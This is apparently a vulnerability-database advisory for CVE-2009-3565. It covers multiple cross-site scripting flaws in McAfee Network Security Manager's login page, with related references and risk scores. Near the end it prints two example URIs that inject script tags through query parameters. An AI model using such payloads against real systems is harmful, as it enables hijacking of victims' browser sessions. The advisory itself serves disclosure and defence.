McAfee Network Security Manager < 5.1.11.8.1 - Multiple Cross-Site Scripting Vulnerabilities

🗓️ 12 Nov 2009 00:00:00Reported by Daniel KingType

McAfee Network Security Manager with version less than 5.1.11.8.1 is prone to multiple cross-site scripting vulnerabilities. Attackers can exploit these issues by luring victims into following malicious URI

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2009-3565	6 Nov 200900:00	–	circl
CVE	CVE-2009-3565	13 Nov 200915:00	–	cve
Cvelist	CVE-2009-3565	13 Nov 200915:00	–	cvelist
Exploit DB	McAfee Network Security Manager 5.1.7 - Multiple Cross-Site Scripting Vulnerabilities	6 Nov 200900:00	–	exploitdb
EUVD	EUVD-2009-3546	7 Oct 202500:30	–	euvd
NVD	CVE-2009-3565	13 Nov 200915:30	–	nvd
Packet Storm	McAfee Network Security Manager XSS	17 Nov 200900:00	–	packetstorm
Prion	Cross site scripting	13 Nov 200915:30	–	prion
securityvulns	[SWRX-2009-001] McAfee Network Security Manager Cross-Site Scripting (XSS) Vulnerability	12 Nov 200900:00	–	securityvulns
securityvulns	McAfee Network Security Manager multiple security vulnerabilities	12 Nov 200900:00	–	securityvulns

Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following example URIs are available:

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb14"><script>alert('XSS')</script>8b3283a1e57

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=8502a"><script>alert(1)</script>2aa99b60533&iaction=precreatefcb14"><script>alert(â??XSSâ??)</script>8b3283a1e57

12 Nov 2009 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.3

EPSS0.02211